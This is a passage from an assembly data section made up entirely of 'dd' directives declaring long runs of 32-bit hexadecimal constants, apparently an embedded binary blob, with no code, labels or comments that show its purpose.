0EB541883h dd 0F00FB80h, 6C8EEE57h, 0E817Eh, 0E4FE10D5h, 0C0DEB80Bh dd 0BA883Ah, 0DA126BC4h, 0F93D39Ch, 41BED1ACh, 1842EAACh dd 864FAF01h, 7E441D05h, 1D525C4h, 9415B37h, 503A5C6Eh dd 0A66DDF91h, 1379C100h, 2DF3054Bh, 6983005Fh, 0DE869731h dd 5100919Eh, 0A947E05Bh, 0A17DD0h, 28F62E87h, 0C8DA334Bh dd 0EA8C292Fh, 1BB300EAh, 0EACFE9FBh, 0EA001D8h, 3809770h dd 0DAED507Ch, 0E0001871h, 0C51E3412h, 0FBD99B3h, 8A076BA3h dd 6C8863E0h, 9C00AA1Ch, 0D617E95Ch, 7FBFDBB6h, 0FAE2E066h dd 0FD790Fh, 96CEEAC5h, 9DD5E9C8h, 0B2F2030Bh, 3BE05F07h dd 0B61291A3h, 49040F79h, 0A74B717Eh, 77E26475h, 97350032h dd 0A44FA02h, 0A71FDF38h, 9A80B30Ch, 8E2C6F17h, 0C62ECB0h dd 0DEAC53D0h, 0C1002AC8h, 5E6D0868h, 0BEFA76h, 0DFBAD4E6h dd 6199B590h, 0D902C67Eh, 0B3309208h, 8A80A0CCh, 1F50F21h dd 3AACFC1Ch, 0C8C66E59h, 0E806FA71h, 1F8B7522h, 2F0E3C2Ah dd 97F000F3h, 9BB5915Fh, 0D576AC63h, 22DFE101h, 52C53A62h dd 4412D142h, 0AE3B5BB9h, 762D0330h, 78E7019Fh, 0CFEE829Ch dd 219ECCC0h, 0A691EB00h, 840A913h, 455D0E3Ah, 5793F5h dd 0C22DC866h, 24C9923Dh, 0B90999h, 0B9F10980h, 0B0B53D27h dd 67978FDh, 0E9948D9Fh, 1B002CFEh, 0FADEC98h, 41636h dd 61F50DEAh, 46236E4Bh, 85D52E04h, 0F38809E7h, 20580070h dd 0F26D19E2h, 0AD1EFD15h, 0D780683Bh, 8799B7EBh, 718E0365h dd 66D87731h, 8F12F186h, 1900424Dh, 2E81A27Eh, 98290036h dd 7F91EA8Eh, 7A3524A1h, 8E0498D5h, 0B883FD5Fh, 0B8125029h dd 0E7164CDCh, 0B4CCA980h, 4C30EA7Ch, 7385946Eh, 2D64F259h dd 11D5EE2Ch, 88D99EBFh, 0D5378E83h, 54FEA358h, 0B4C62F04h dd 0C1FD4115h, 0B52CAA5Bh, 495C0F8Ah, 58C3A3D8h, 2BB11079h dd 9442DC54h, 0D78F5602h, 602A06A4h, 1CB6DB03h, 8446A8F8h dd 0D0A27FCCh, 8B265E5Ah, 1B807900h, 37EBBD95h, 6C3A26CEh dd 0BAFB45D8h, 9C00B5B7h, 0D00822FEh, 44002335h, 0F8D5A3DBh dd 4C364CE0h, 5C381659h, 0BB2EBAB7h, 0FC3EE675h, 5E2035Dh dd 553A59EDh, 0B0A7979Fh, 801132Dh, 4FB24801h, 54A91B14h dd 96D09FCDh, 0F6D516E7h, 1C01FA8Dh, 8F701FE4h, 315BBBFCh dd 0B50F19DEh, 0C70B204Ch, 9AD2EA00h, 0DC580CE3h, 0ABFB00B3h dd 6679722Eh, 0D73B401Ch, 39DCE343h, 99E9995Eh, 0B654C549h dd 0FFBBC545h, 0C0CDCF92h, 9D76C7h, 9A77457Dh, 56AF4A82h dd 0B0009598h, 1127BBD3h, 70BE934h, 75CEE4C2h, 4737401Ch dd 741529A3h, 2D97F7D2h, 7C10D7FBh, 5B5F0B88h, 101C68C0h dd 1E5900E5h, 2036CA23h, 94EA2443h, 0EC250B00h, 8E442D34h dd 9939017Dh, 0E1AFE740h, 0C562D002h, 0C700BCF4h, 937B2965h dd 66CA2Ah, 449AFA04h, 0C6E5714Ch, 366EC700h, 81FCA87Fh dd 0F88C2AA4h, 2FB527C9h, 17C05C2Eh, 64BE1E3Eh, 6E03D9E0h dd 390E20F2h, 0B2BAE58Dh, 0A96EBDE7h, 283C8C8h, 31241C33h dd 0B75C0D0Ch, 0CE5CDE56h, 0E5825508h, 2CA7C581h, 2C8763EDh dd 93C273Ah, 7E5ABA52h, 0D38B3C63h, 6175148Bh, 3CDD54EAh dd 89560740h, 7C77E4DEh, 0C345008h, 5F0CCDFFh, 7C5BF70Fh dd 9A5129ABh, 602C870Ch, 6F7B4Dh, 0E03EFFFBh, 2B8FE86h dd 75860E6Bh, 5B89EC40h, 605E2000h, 48575D54h, 770D4811h dd 1CF1Eh, 56BD3724h, 0D1727B5Eh, 4D891A00h, 0DE21667Eh dd 2E850E1Bh, 0B3A52FF8h, 0AD918004h, 0D5003345h, 0A129143Bh dd 68CC39h, 340F87FBh, 4492400Ah, 0CE381770h, 7B3B8325h dd 9855DD4Bh, 39BA0A60h, 2E003739h, 6E2A5FBEh, 0E10231B7h dd 2B7BFC96h, 0E5BC6017h, 74B83Fh, 1FD1AB63h, 61DFA123h dd 0A62AE81Ch, 0C5778600h, 23D3678h, 504B566Ch, 7B7D7446h dd 0C31D515Bh, 190A2084h, 16D100A5h, 0CE5C9941h, 0DD278A8Fh dd 0FCD31250h, 4C50493Eh, 0DC0796h, 66EDABF3h, 0D5898E96h dd 8B9B6A4Fh, 0DFC278C0h, 6A5FE56Eh, 94F01DB6h, 47047A0Ch dd 896E7BE3h, 272041A8h, 1117AB80h, 9F9E94Bh, 26045CBCh dd 105BD23h, 894FA016h, 0D59C857Fh, 60FB5012h, 0EF19D58h dd 4905F80h, 8FC1BDBBh, 0EA1AE2Fh, 80E3DB7Bh, 0C9DABD09h dd 0E53F1611h, 987EE0F9h, 54508F69h, 0C40A37F0h, 0EF1785BFh dd 21E0FFD9h, 70622378h, 0D7C6291Ah, 0E6D13725h, 5E29E016h dd 7D920805h, 851C7E3Ch, 0DF801620h, 8EE7A2CAh, 4D2F1C97h dd 0B63E0B3h, 290BA1F3h, 0DC1DEE89h, 0A32F169Bh, 0A86A5AE6h dd 98F5CB25h, 5A76CF1Eh, 0BC62AF50h, 0AA9C4BFBh, 0A7F2D3DAh dd 2DD4207Eh, 9590CA85h, 0F90025FBh, 8B7871A5h, 4BC507h dd 0D774168Ah, 0B7E95F55h, 0A68B0C5Ah, 0AD712124h, 0D415FD8h dd 0BDFEAE92h, 2D6FB8E8h, 0C946F9D5h, 3C88904Eh, 0D3A600EBh dd 983BF21h, 94000A66h, 456B725Fh, 12A2EC65h, 0B027C9D8h dd 0BD2D8D35h, 0CB18772Fh, 34020C6Eh, 27C6862h, 1F657D06h dd 0CFB5AFh, 0E326C949h, 0A0241AC8h, 2D13459Ah, 3222CEBh dd 9F10709Dh, 9531C1B8h, 0F923D125h, 2D6305FFh, 9E81FFC1h dd 78691D49h, 0FC1E3516h, 2CE3A2B3h, 164F6922h, 0F5F323EEh dd 888E71BAh, 0E45F0A2Bh, 1BC85426h, 3F2D41D5h, 0BF25714h dd 51D35DF3h, 0EAF51756h, 516B4F27h, 0BFFA002Fh, 4EC85D85h dd 4ECD2B73h, 0D1FDA7C1h, 5E355930h, 5E7FE624h, 6BD600BAh dd 0F93CCB8h, 0BC8FF900h, 42980DC3h, 0AD490AF1h, 639D76E9h dd 57143311h, 614B0185h, 5BA8EFACh, 95D4F42Bh, 0A024BD21h dd 1BE525C8h, 6B68D47Eh, 2525572Fh, 0CC0AA8F8h, 0B518B609h dd 122F0431h, 0CB00D4F9h, 60C41A7Dh, 0AB7CD2h, 88E40604h dd 5B0A39AAh, 645B98D0h, 6641044Ch, 6AD06CBBh, 8A370960h dd 41CD95E8h, 0C44BAAEFh, 82F22112h, 8516293Ch, 0D8B9FD0Fh dd 80330128h, 0F4F6EB9h dd 0F280829Eh, 0D0ADED90h, 12031905h, 0DEA8EF2Ch, 0F938A080h dd 221C6E32h, 33429BC3h, 7E9E4E8Ah, 0DECB24EDh, 0C61F3573h dd 97801D61h, 84EF80DCh, 0DC01BEFCh, 0AA058778h, 0B5898C29h dd 72BA888h, 8644BBC0h, 7513B11h, 7D442Dh, 4CB0E651h, 39CC9EF9h dd 0B4FFD41Eh, 535FFC8Bh, 4F104414h, 0C72603C1h, 9F17D80Dh dd 4BAE0174h, 0D6B88545h, 656E2E80h, 34041C3Fh, 0BB810FFAh dd 8600CBA7h, 89DBD190h, 8A00A758h, 0E2C4542Ah, 95610727h dd 0EBF8A1FBh, 83B30034h, 0F164AF9Dh, 8977E9DBh, 3B237524h dd 12AE6544h, 0C49ABFB0h, 3EF692h, 0D94750A4h, 17290383h dd 0A906918Dh, 26B8D316h, 0B874F84Ah, 33DE04BFh, 0BF2509BDh dd 8879E838h, 77999529h, 16EDBD97h, 0A5D1B825h, 8B496740h dd 52F302A6h, 578DB984h, 33413340h, 0DA6F5F81h, 0C01AC8F1h dd 532820BAh, 0CDA45216h, 0FFA731BBh, 53A62AE1h, 415F15E2h dd 0F32B1CB8h, 4358458h, 81A2DEAFh, 8C7BA9D0h, 0B97F882Ah dd 3AC46C00h, 98E737E8h, 8D4B5F3Ch, 65293F43h, 0D64F7DCAh dd 0DA736460h, 3FDB02AFh, 0C99D8D4Fh, 4EDFB9E2h, 2AB52D6Bh dd 991A9247h, 0B8377773h, 0ADB26112h, 9DA5628h, 8E0F3827h dd 0BF500D56h, 25630967h, 42580D91h, 235B0209h, 4B6B5E9Dh dd 0AEC20CEDh, 2FC1D4CAh, 0C6709FD6h, 5DD81616h, 419BA1CEh dd 6A2569E7h, 2E549B32h, 0AE398565h, 2ABA1012h, 0B99B8075h dd 3201D86Ah, 13DA4C22h, 0E7958420h, 0FA6300C6h, 308B73C3h dd 77274FC9h, 4989F42Dh, 428B418h, 0C641AD00h, 0C1BAF195h dd 0A42002E6h, 76CC2D5Bh, 0BB543075h, 38D3139Dh, 201DF941h dd 9DDEE8FAh, 0AAAD4C44h, 0FC838EE5h, 4FA2EC38h, 224C8300h dd 20C07429h, 6AB8FE17h, 9FBC62BDh, 63658200h, 9F69EA3h dd 31D9A913h, 0EB7DD8Fh, 0C03D127Eh, 0DCBE6824h, 0BFEB4D00h dd 277E3056h, 41E0CE81h, 6014D1A0h, 0B5188BF9h, 61323235h dd 7A3009BFh, 0E6F32E53h, 20181559h, 0CC8D035Ah, 9709BE58h dd 0E907A2F1h, 0DB09016Ch, 7D6A7830h, 77128405h, 0B6A82D96h dd 0CD60BED2h, 2DC3F6EFh, 0FED453F4h, 0F61A56D6h, 6089D303h dd 5EF2DE48h, 0DF25AAD4h, 877EB93Ah, 41B80369h, 60D1216h dd 23A36EF5h, 8083001Ah, 0EB6B18FEh, 9EBBC202h, 7D4B7C52h dd 969F1602h, 0E117260h, 44677C3h, 1D85C901h, 696F886Ah dd 0FF99B4Eh, 72195CECh, 56CC4BAh, 0F92DCD63h, 9511534Ch dd 72042ED9h, 431E3E73h, 0BC21708Dh, 2FA57AC1h, 0D7A2E22Bh dd 0BDA032A6h, 25B0C168h, 50DFB700h, 0FD4DBA60h, 1D435DB8h dd 0FCD4F84Bh, 0FF0E8C15h, 0CC9D311Fh, 481B226h, 165439EBh dd 0F99F9861h, 0F1A126F1h, 0F82ED2D7h, 7BBE9730h, 28D85AACh dd 66214F2h, 3917DA3Ah, 8B58F816h, 0C4775114h, 0BF664011h dd 61E9CDFDh, 31501323h, 0AA927FB5h, 89B5DF5Fh, 0D51819F1h dd 0EE5CB905h, 25A89CDAh, 4F4FD0A3h, 0A242DFECh, 1203C0C4h dd 0EEED56AFh, 7D00127Bh, 0B4887ECEh, 0FD9E8389h, 0D86C140h dd 79E4003Dh, 8D9D6915h, 0D4122D73h, 0D8BFA5C3h, 1AB55B40h dd 0D8EE0228h, 554E7D3Ah, 0C9088121h, 0D470F6h, 0E3BBAFBAh dd 9116E14Fh, 39266F90h, 3624704h, 0C544290Bh, 0A777F90Fh dd 225D40B3h, 644784D0h, 0EDDFA81Dh, 92509B49h, 76C5570Eh dd 13BCD91Fh, 0FEF725F1h, 0EFDD3464h, 6BBE1117h, 0CD984F4Eh dd 0E47E0412h, 0C52E4980h, 0DB29BB33h, 80D3DA2Eh, 7AA7485Fh dd 0B888FC40h, 6DB0945Ah, 3F27DDD8h, 9F22DE26h, 0A5DCB70Ch dd 8FF21C4Bh, 0A8A6FDD6h, 6A7F00A1h, 0B2F9B8EEh, 0F662409Ch dd 5A213D62h, 55D2797h, 0D09F94EEh, 6D14416Fh, 486F4E2Fh dd 0C4158200h, 0FF2D348Dh, 0EA36D71Dh, 167FB516h, 2FC9D005h dd 0B904BB23h, 6BAFCFB6h, 71B2361h, 500EEC71h, 0AC3BB11Fh dd 3031D4A0h, 4BF9680h, 2A9F104Eh, 873EFC50h, 0DFA9FF25h dd 0E53BFC6Ch, 0CD962DB3h, 9F8EC122h, 466B6E25h, 66001D23h dd 0BFFE91A4h, 68E30F86h, 0C95DCC77h, 0D4F91BC1h, 0C0CBCDADh dd 0A4E51292h, 0F8F38E5Bh, 22D88A4Fh, 0C27BB26h, 962779BDh dd 0A540BF94h, 1FF8680Eh, 0D378C43Ah, 0D24EF9CAh, 8E5B11EEh dd 93CCBF92h, 74A0848Dh, 0F9BD0959h, 0BFFB6B85h, 9CC40250h dd 18E50941h, 8A50D47Eh, 60528804h, 0CBF97C95h, 0BD336C98h dd 0F130112Dh, 2777C6B7h, 0FDE9CA8Dh, 80542804h, 20F5BD44h dd 69B2F9BDh, 67414C6Dh, 59E8BBE1h, 0FE6B4A3Dh, 0DCAA4825h dd 53004BB0h, 666C3767h, 521ACB9h, 0BD016061h, 819C40E1h dd 692833D3h, 899F177Eh, 6086F1A3h, 0D318D29h, 82F43388h dd 840CF1D7h, 1A2301BDh, 0E568FD2Eh, 0CDB7C18Bh, 0C249E3EBh dd 0CBFFDBF0h, 7E5C5327h, 0E2DFCBBFh, 40455826h, 0AB40B5CAh dd 0C82FF761h, 1D0073D2h, 4C9C5ECEh, 989985h, 427D702Eh dd 0B11E0224h, 0C190E42Dh, 7C091F48h, 0D5022FA0h, 0C880DC3Dh dd 0DB36965Eh, 0CB49A994h, 0A1ECB1F7h, 0B9EC5EC9h, 2AB40013h dd 0EAB696DEh, 10B143Eh, 100F6995h, 4B1F3C3Fh, 502A4E9h dd 2DC0DB6h, 7252E92Eh, 0A141D780h, 90E39391h, 4880F4A8h dd 0DD93BABBh, 0DE9B5809h, 90F90550h, 0DDCEFBDBh, 0C1F97901h dd 0D8096C2Bh, 62EB804Eh, 23B30A54h, 9C6C9556h, 0F2094B15h dd 6AAED2A7h, 0F6200088h, 56B0702Bh, 0CF8003F9h, 8AD1FFCCh dd 0A28BACBCh, 60021131h, 70B9413Ch, 0BF51BD0Ch, 33BF0450h dd 0AD347B9Fh, 25287F45h, 4D4A5F0Ah, 0EBA52EF8h, 1EB3FC8Ch dd 0A511E985h, 46952565h, 9D890EF7h, 762BD4F9h, 5F9224Ah dd 29E381C0h, 5C2746A6h, 833D5550h, 5CAEFF07h, 1506E751h dd 8E26207Bh, 9909A73Dh, 0DFF503CAh, 16119337h, 2C4B2782h dd 0E924B670h, 4D097744h, 4012591Ah, 777622BBh, 10E6315Bh dd 86418D15h, 0E0CAF84Eh, 5E5F90h, 0C02D263h, 0FF6A5308h dd 1BA938CBh, 841EBA1Bh, 0C4520322h, 8529A970h, 9D8A0142h dd 30D7810Eh, 8B359220h, 2FE1B0DAh, 0F699088h, 2D9145CFh dd 6C799A0h, 4D1316F5h, 910D70E6h, 71C9EFB5h, 2621097Bh dd 9984759h, 12FABB73h, 41BF014h, 0EB29DD31h, 0B112ACB3h dd 8FA3F92Bh, 0B9F87203h, 5152A492h, 3D442690h, 5990955Bh dd 817360DFh, 53A4A116h, 951095B8h, 2B61020Fh, 270DE8C8h dd 0DE74C0D8h, 4700C9B8h, 627B5788h, 1BF1035h, 1BB13DADh dd 2ED18B5Fh, 0FD6B7489h, 28AA9614h, 0BB066653h, 8EE9DD25h dd 9CE99535h, 1CE66285h, 0ED729D31h, 286E56FCh, 0A8C31A20h dd 0AA841042h, 2169ADFAh, 0C1128h, 9DC027E5h, 1BC489Eh dd 0BF6CBA4Ah, 3A53E924h, 0FD94D2A2h, 4C2D7510h, 62D12F2Dh dd 0CF8B5462h, 72144D84h, 16CF282Ch, 0A90FC409h, 5CBF8090h dd 0BC745770h, 32D84065h, 0FF0387F7h, 0DC1D4981h, 8084425Ch dd 0A588984Ah, 5F319940h, 6E09AE95h, 594DF56Ah, 609F23C0h dd 0B7BD120Eh, 0EFDAEE22h, 0DD527196h, 0D2F16AE0h, 0B929D06Fh dd 0F3950FB5h, 7EF8D010h, 0B589721Ch, 76A794A4h, 0B925F65Ah dd 5F9950C5h, 80749BFCh, 4CA6FA1Ch, 43874817h, 6BC1CB07h dd 0BD7709B8h, 335D8FD8h, 0E4B04EC1h, 8DAD7E31h, 0DBD22B16h dd 3A4980B6h, 26A4CCBBh, 934B757h, 0CF770141h, 0D6742C57h dd 3104FE78h, 0F8629DBCh, 1516EFEh, 133D22D8h, 0C23A3FF8h dd 14DF0610h, 0BACD959Bh, 0C287BF44h, 91629F0h, 5EE96273h dd 23071AA1h dd 5DA19964h, 80A5B32Fh, 8D13E011h, 0AFCCB799h, 0F516F37Ah dd 2EBF08E8h, 0C0CDD58Dh, 0A8FCD598h, 8B0F12A1h, 0B4E715h dd 3038F183h, 5420A7Ch, 0F9C61DFBh, 5FA3A040h, 7C01EACBh dd 6E6A79C3h, 61C05F9Eh, 0B3C6B65Ah, 0C21A7E9Dh, 0B1655h dd 0D22EC54Dh, 0E69A9559h, 7DF22DC6h, 501DFF7Ch, 0E15230A0h dd 0C09717DBh, 199D2363h, 0CCCE1E4Ah, 294FB822h, 0E2308D89h dd 7A4C12ABh, 88A4B24Eh, 5443A7BAh, 0E377ACDCh, 0BA274F71h dd 0E5BD8B33h, 7F601FD2h, 542F49B7h, 4342A523h, 0B8F7B77Fh dd 0BFCE6A4h, 22481B1Dh, 0E14E80FAh, 25826EFFh, 9B70696Eh dd 0AC8E6417h, 9200A791h, 0BDA8DBAAh, 950419FBh, 2C292349h dd 52548064h, 0F3864Fh, 9B2C3EB2h, 57E11EF2h, 0D8C8904Bh dd 0BD95007Ah, 1850CF4Eh, 3F038CFDh, 2F08F8F6h, 8FAAD528h dd 40EE58B2h, 0BF046006h, 6AB0EE6Eh, 0B5616CF0h, 0E1D822DBh dd 0E0355B3Fh, 0E641FECDh, 0CEE7827Ah, 0A640BB56h, 0E663103h dd 46C19AA2h, 277779A0h, 58009D82h, 0AC68615Bh, 0F0AB40Fh dd 753343BBh, 53F7C077h, 2FF9AB0Ch, 7E82D49Bh, 0A22E07E8h dd 5D1B358Fh, 0AF0BC18Bh, 5F548DFAh, 7301C813h, 3A6F5B7Eh dd 5FD6FC61h, 1B913DB5h, 292A3180h, 0DE02F90Ch, 0D98B17EBh dd 8E71E8h, 6479B583h, 0B400E20Bh, 0CF44413Bh, 1523A76h dd 2B61E4E5h, 8204319Dh, 0D7BF66AFh, 5538E2E9h, 0E5C0886Fh dd 1B31A0Dh, 5FBBFB29h, 717DB9B7h, 46DB28D2h, 3436B02Bh dd 0E0F3011Ch, 0E9B50925h, 39E73B03h, 1B63205Ah, 509AB0Bh dd 0FD99D95Dh, 2995B746h, 0D0AE73BEh, 8D2789FBh, 0B5086829h dd 25FB95A1h, 4E3DFFD8h, 922BF98Bh, 258DC304h, 0C8C28FAFh dd 5166C01Ah, 0BF130C27h, 0C9FF5484h, 918D6074h, 0A7DD094Bh dd 6F35FED9h, 9BD7162Ah, 58B980D5h, 63ED737h, 0FEB3217Fh dd 0D12FD269h, 633F2204h, 0F54442BDh, 0B20A33C1h, 2004A441h dd 7A78BB66h, 8BB6964Eh, 145A4FE0h, 25925D02h, 61BD3C6Ah dd 5DC2F99Ch, 352633FBh, 302D2108h, 68853976h, 7077F609h dd 3064B2h, 2DD88652h, 3A9F5D9Bh, 0DBADB15Bh, 0AE8C0901h dd 21BD314Dh, 4E3038AEh, 1CA20AA6h, 8E1130h, 7E618912h dd 90358639h, 388D0F11h, 0FB53CC48h, 72424B00h, 0A99ABA10h dd 986CED00h, 9654CCCBh, 0A1043A9Ch, 18FF5BA5h, 36EB5Fh dd 296570A6h, 9A8C4255h, 0F004690h, 482BEE6Fh, 97B6ADA3h dd 9016ACD6h, 98FD34ABh, 0CEB45364h, 10C09D45h, 7D573Ah dd 1CDCDDEFh, 22B05C1Bh, 106CA500h, 0A7BB5FD4h, 9B812ADh dd 0E0BDF661h, 0F3F0621h, 178F5A80h, 0CDBFAC36h, 8F2FB6B3h dd 20E510ABh, 89202CF2h, 0BD332DB5h, 7B6BA7D4h, 853700Dh dd 7D362009h, 0DD4F71F9h, 40C5CD25h, 0D79868AEh, 2717D897h dd 0AFF671BCh, 0FC162E3Fh, 5F18571h, 14CDF7C2h, 14460FE0h dd 2F9604F9h, 0A803B236h, 7FD314A0h, 4E0B1EDh, 9CE82C39h dd 9208633Ah, 0E163D3Bh, 0F2CB85EAh, 1309A8FEh, 0FCEC9DEEh dd 3FFD4EBBh, 8FB3D2h, 5C86EB81h, 250F11BBh, 95CC2F32h dd 6ABFDE4Bh, 0CD984B0Ah, 56CE1285h, 0A253BEFFh, 0AC0435FAh dd 220580B6h, 36C528h, 96BDAD08h, 0D1CF358Bh, 53F69801h dd 504C45E0h, 0E94F8373h, 4AB38118h, 0C179965Bh, 0C2044BB8h dd 0A5F1C40h, 0A02E8AEEh, 1454F67h, 0CAAF6311h, 3FE17E59h dd 89030820h, 12A73D30h, 0F734DF07h, 310930C9h, 7B09B38Ch dd 8B6C5E9Eh, 0AFE2559Ah, 5BE03ADFh, 0EAF35359h, 0A3E08492h dd 134BD18Dh, 243F6EBFh, 0E1C7621Ch, 2EDB2020h, 0D7961611h dd 422AEA17h, 0E900D491h, 0D381B6D8h, 8B2F25F0h, 8C10F568h dd 6012AAC9h, 46F185A3h, 38EC4539h, 6846DB0Eh, 552202E0h dd 22987F0Dh, 6300C381h, 294BAEBEh, 9E02D9B5h, 9224EC4Bh dd 337FBD12h, 93458F1h, 8E7E951Dh, 2D68668h, 0B61883C0h dd 0ED57AFB4h, 65196415h, 0F1D67FF8h, 6A352E8Bh, 9706A8A0h dd 3F63CF6h, 825E1C31h, 29CA60EEh, 141D91E0h, 0E4956DBDh dd 0D5B56214h, 0F7DD0CC3h, 0BF6604E3h, 0BAE8BAB4h, 5FCDCB11h dd 7734E6Eh, 0EF3FBBEBh, 0ACA18E8Fh, 0AF392B48h, 0FCEDDCC2h dd 90C49217h, 0C9C035ACh, 95474C76h, 0F16F781Dh, 0F58A4880h dd 566EEE2h, 59E01FBEh, 19128250h, 0D461092Fh, 1746D625h dd 329A3D00h, 159529B1h, 0F8120E96h, 598B51F2h, 0C9D849FBh dd 4A9B0264h, 885D1A2Fh, 0DF301A77h, 0A1CBA04h, 4000DD96h dd 0B3605028h, 202AE782h, 52ECF51Dh, 34A9702h, 0FF169075h dd 96E2E64Ch, 80181895h, 0B2054EC3h, 176A85Eh, 0AC741532h dd 31BDA3D8h, 97532ECCh, 85E886F9h, 28940A97h, 1D46DCh dd 0B94945B7h, 3B99E6D8h, 0BF4B25BBh, 4E59A66Ah, 9C0B6EC0h dd 0F4027F6Bh, 0A0BC88BBh, 51C75E01h, 3CA72F50h, 82890CB2h dd 2754BF71h, 0BF56D2F6h, 814B1210h, 0E99D2B9Ah, 6CF32B14h dd 0D13DBFC0h, 0E90E531Dh, 32FFF1B9h, 47B41BABh, 24A9522Fh dd 31C1C142h, 249CE36Dh, 0B0DF25CDh, 0A1830FADh, 923F902Eh dd 86C6CD25h, 23AEC1B5h, 3F66Eh, 0D505F32Fh, 3B2C61A7h dd 0A838DC64h, 0F5E81A12h, 671C297Ah, 0E9153070h, 5EAB6FEAh dd 6AE70BEFh, 70495B00h, 8B977A0Bh, 701B535Fh, 23089ED8h dd 131C4D9Dh, 8ED2EB89h, 0B8C86890h, 4C0FEC22h, 0A292878Eh dd 0D4820F45h, 8572010Eh, 0DC89CAFh, 384024Ch, 71EF014Fh dd 61FF10DDh, 0F2BE00B3h, 0D1E09FA3h, 1460E94Bh, 3236AF1Dh dd 0DAAE00D5h, 6B20F3DCh, 91706E13h, 0B745AD00h, 5FB0370Bh dd 7D53B56Ah, 48A63978h, 19120101h, 1299F205h, 0DAAF50D7h dd 0E7093CBh, 0B679CACFh, 212340A7h, 0E50011EFh, 9D6ACCE1h dd 12EBA4F0h, 0F314DC55h, 0F0205AC1h, 25DE782Eh, 0B75FE854h dd 0DFEA7B9h, 2595FC4Bh, 5E11C7C5h, 1D11824Bh, 0EF84DF0Bh dd 26A0426h, 690904B8h, 0DB4490A1h, 0C0219A00h, 9F494357h dd 0B51904BBh, 0FB5F236Ah, 0D3900E82h, 66FE704Dh, 55542104h dd 0F0BDF1CFh, 68F68D89h, 0E91630CFh, 0E1BFFC82h, 5FFE303Ah dd 0EAE35B6Dh, 0C968167Dh, 0D3A2FD22h, 6D388DAFh, 82F0003Eh dd 341FAEC0h, 0F66000B7h, 0AB64196Bh, 314BA8ECh, 0AE7535AAh dd 1839C8h, 0D61F80EAh, 46B24BADh, 0FCA8910Eh, 0AF0F30Dh dd 89584AD1h, 20406E4Ch, 9F4E8DE6h, 7CAF05E5h, 0FAB6B29Bh dd 9D3A05A2h, 0FAF925ADh, 0B1BD0140h, 0CC7C9F27h, 0DC4F0B52h dd 3AE3E004h, 5900BB3Dh, 0A54284ADh, 0B5946ECCh, 5495F9h dd 250FEFBFh, 0E7B35885h, 8B020404h, 83F86AD8h, 9529BF4Bh dd 2202083Ah, 0D791B58Eh, 0A901A07Bh, 0B7E235E4h, 4D623ACCh dd 9702C19h, 0B4B01640h, 154D0802h, 0F9BF0F01h, 9F3170E6h dd 3DE89CF7h, 39D2D889h, 2F5DF451h, 694210F9h, 0AD9D8909h dd 58ECC4F7h, 0CD3DA960h, 0CE99D84Ah, 130CDB02h, 99BA6139h dd 6F61FE89h, 413D5630h, 4E172F16h, 971C9981h, 314CF22Bh dd 2DF17057h, 31435B02h, 0E499123Fh, 514D9C6Fh, 31C932ECh dd 4C44945Fh, 0BD0BB0C7h, 42064FD5h, 29E2DF42h, 0F3401F74h dd 0DBF5460h, 79059557h, 0CB01C21Ah, 483A0208h, 0A5A01B27h dd 4BE9FA26h, 0E1371849h, 67BC0013h, 9938F16h, 18516D9Dh dd 1A242F49h, 7A0044E2h, 1279DBE1h, 0AD00E21Ah, 3BC0955Fh dd 9146ACDh, 53E3DF2Dh, 24142CD1h, 2D93DCC4h, 0EF902CA2h dd 896F914Eh, 2834995h dd 0E57745E9h, 0A95A8464h, 5A9BBEE8h, 425039C1h, 809F6C57h dd 1E419516h, 20530036h, 0A2994F8Bh, 93030283h, 97A71BE5h dd 0EF6E5E5Bh, 0FC00CB39h, 88185DB5h, 53B2A5B9h, 0FA8B5632h dd 75F090Dh, 5419FCD5h, 801ADEE3h, 0FD7098EFh, 2E572B8Dh dd 1723E26Ah, 8321EF02h, 0BBE68Bh, 0F5913D68h, 81096447h dd 2083338h, 2BAAEABAh, 25F8F6D2h, 35A5C8CDh, 34130F26h dd 0E063803Ch, 76B7FF75h, 0DC45BEh, 0C4A54AE9h, 683D291Dh dd 0C8212FF7h, 0F63B5AB3h, 90854B4Ch, 80ED9EFFh, 71BDD6AFh dd 88E01E60h, 40F5FF6h, 0FA5BDA8Ah, 258019CCh, 0BCE513CBh dd 5B5E506Bh, 0A095B714h, 25308A15h, 0A1E5D1BEh, 0E04B6111h dd 774B7D03h, 4E573FBFh, 992EC460h, 2FCF12F3h, 606BBF49h dd 97001A23h, 0F5D0F9B6h, 23F30B30h, 0A2A2DDBDh, 0C240E1FFh dd 9C972679h, 2EAB4598h, 0BADE8C29h, 1F865C0Dh, 36BD6F76h dd 23A0D900h, 0CB01D597h, 0AB911A5Ah, 1FDC2B16h, 49060093h dd 0F7E0D5E4h, 3AE7FD25h, 5B85E3A8h, 1C6EEB60h, 12ACC600h dd 5054464Fh, 1D2B172Ch, 78557889h, 7AB79FC6h, 0C4EE3E00h dd 0B555BF66h, 71B7C0F0h, 0F9D68011h, 0F6C979B0h, 31C1120Eh dd 7624D38Dh, 0E025B9B9h, 7383DDFh, 20B582CFh, 0FC6A6593h dd 12AE7750h, 0E1636089h, 0B063500h, 890F0A74h, 6EBE15E1h dd 1923F8h, 0A5D3EA1Dh, 84BD22B3h, 6E9027Ah, 80F2DBD2h dd 0C20EBBFCh, 902F3B8Eh, 20C14303h, 518A5061h, 5F9CE279h dd 516F9053h, 94772000h, 4C7DE24Ah, 5CBF1412h, 644D0F01h dd 0DE7B63F9h, 52BE9339h, 85F2A0h, 5A293D1h, 2449B2Eh dd 52E7A109h, 0F17598B0h, 0E60B4B00h, 0E38088D1h, 0B81A7075h dd 7BD40045h, 3A2B10C9h, 8B695835h, 1E625483h, 51862865h dd 0ED60515Fh, 11E828DFh, 0A2BE0026h, 2CA78A82h, 0EB00C332h dd 58D5CC7Ah, 0B9090F23h, 972F8002h, 6BC56701h, 16078600h dd 0B7A50F6Fh, 0D75E3BEBh, 61581D0Eh, 0C46EBF57h, 1C955300h dd 62483482h, 76BBB417h, 1F58A04h, 9C1EDADh, 341FFD8Dh dd 1448E24h, 7B4DBDF5h, 0D8601964h, 3507A43Ah, 9D2907A2h dd 6084401Bh, 0BED00081h, 6165E071h, 79CB72E9h, 5BC64157h dd 0C86B9A7Ah, 80E7C215h, 0CAF588E2h, 2F0E5EF6h, 0E60594Fh dd 4B778867h, 1BCC09ECh, 1BB12D3h, 1991BFFBh, 322F514Eh dd 2561F5FAh, 39B2151Ah, 0CEE99200h, 0A121DD32h, 0BE470F00h dd 0B723803Eh, 0D4857101h, 62DBB41h, 0C100FBB7h, 2AD3211Fh dd 994A4E83h, 1EA46F0Ah, 96042646h, 1561204h, 5FD1DF7Ah dd 7A66EA5Bh, 7326D904h, 0B0BC339Ch, 